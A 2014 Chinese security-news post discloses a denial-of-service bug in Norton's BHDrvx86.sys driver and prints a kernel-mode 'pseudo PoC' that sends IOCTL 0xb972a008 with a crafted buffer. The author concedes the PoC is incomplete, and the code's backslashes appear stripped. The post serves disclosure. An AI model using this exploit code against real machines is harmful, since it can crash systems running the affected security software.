知识屋:更实用的电脑技术知识网站
所在位置:首页 > 网络安全 > 安全资讯

诺顿BHDrvx86.sys拒绝服务漏洞(附伪POC)

发布时间:2014-04-28 12:21:58作者:知识屋

BHDrvx86.sys一直问题不断,才修补了上一个版本,最新版的问题又来了
 
为什么叫伪POC呢?因为真POC可能得HOOK ZwDeviceIoControlFile修改值,而那样实在费力,直接ZwOpenFile DeviceBBDrvDevice是成功不了的,可能做了校验.我只为说明问题,所以省事点,据说不带POC不让过的.
 
问题出在发送IO 0xb972a008的时候,inputbuffer没处理好.当然能不能提权对这个bug而言真的毫无意义了。
 
BOOLEAN 

SendInterface(

IN PCWSTR DeviceName,

IN ULONG IoControlCode,

IN PVOID Data,

IN ULONG DataLength

)

{

NTSTATUS ntStatus = STATUS_SUCCESS;

PFILE_OBJECT pNetObject = NULL;

OBJECT_ATTRIBUTES ObPassthru;

IO_STATUS_BLOCK NetStatusBlock;

UNICODE_STRING PassthruString;

HANDLE hNet =NULL;

BOOLEAN bRet = FALSE;



__try

{

RtlInitUnicodeString( &PassthruString, DeviceName);

InitializeObjectAttributes( &ObPassthru,&PassthruString,0,(HANDLE) NULL,(PSECURITY_DESCRIPTOR)NULL);



ntStatus = ZwOpenFile(&hNet,OBJ_CASE_INSENSITIVE,&ObPassthru,&NetStatusBlock,0,FILE_NON_DIRECTORY_FILE);

if (!NT_SUCCESS(ntStatus))

{

DbgPrint("[SendInterface] ZwOpenFile failed err=[0x%08x]n", ntStatus);

__leave;

}

ntStatus = ObReferenceObjectByHandle(hNet,0,NULL,KernelMode,(PVOID *) &pNetObject,NULL );



if (!NT_SUCCESS(ntStatus))

{

DbgPrint("[SendInterface] ObReferenceObjectByHandle failed err=[0x%08x]n", ntStatus);

ZwClose(hNet);

__leave;

}



ntStatus = ZwDeviceIoControlFile(hNet,NULL,NULL,NULL,&NetStatusBlock,IoControlCode,Data,DataLength,NULL,0);

ObDereferenceObject(pNetObject);



if (!NT_SUCCESS(ntStatus))

{

DbgPrint("[SendInterface] ZwDeviceIoControlFile failed err=[0x%08x]n", ntStatus);

ZwClose(hNet);

__leave;

}



ZwClose(hNet);

bRet = TRUE;

}

__except(EXCEPTION_EXECUTE_HANDLER)

{

KdPrint(("[SendInterface]Memory access failed."));

}



return bRet;

}



SendInterface(L"DeviceBBDrvDevice",0xb972a008,(PVOID)0x02f0ade0,0x00000030);

 


(免责声明:文章内容如涉及作品内容、版权和其它问题,请及时与我们联系,我们将在第一时间删除内容,文章内容仅供参考)
收藏
  • 人气文章
  • 最新文章
  • 下载排行榜
  • 热门排行榜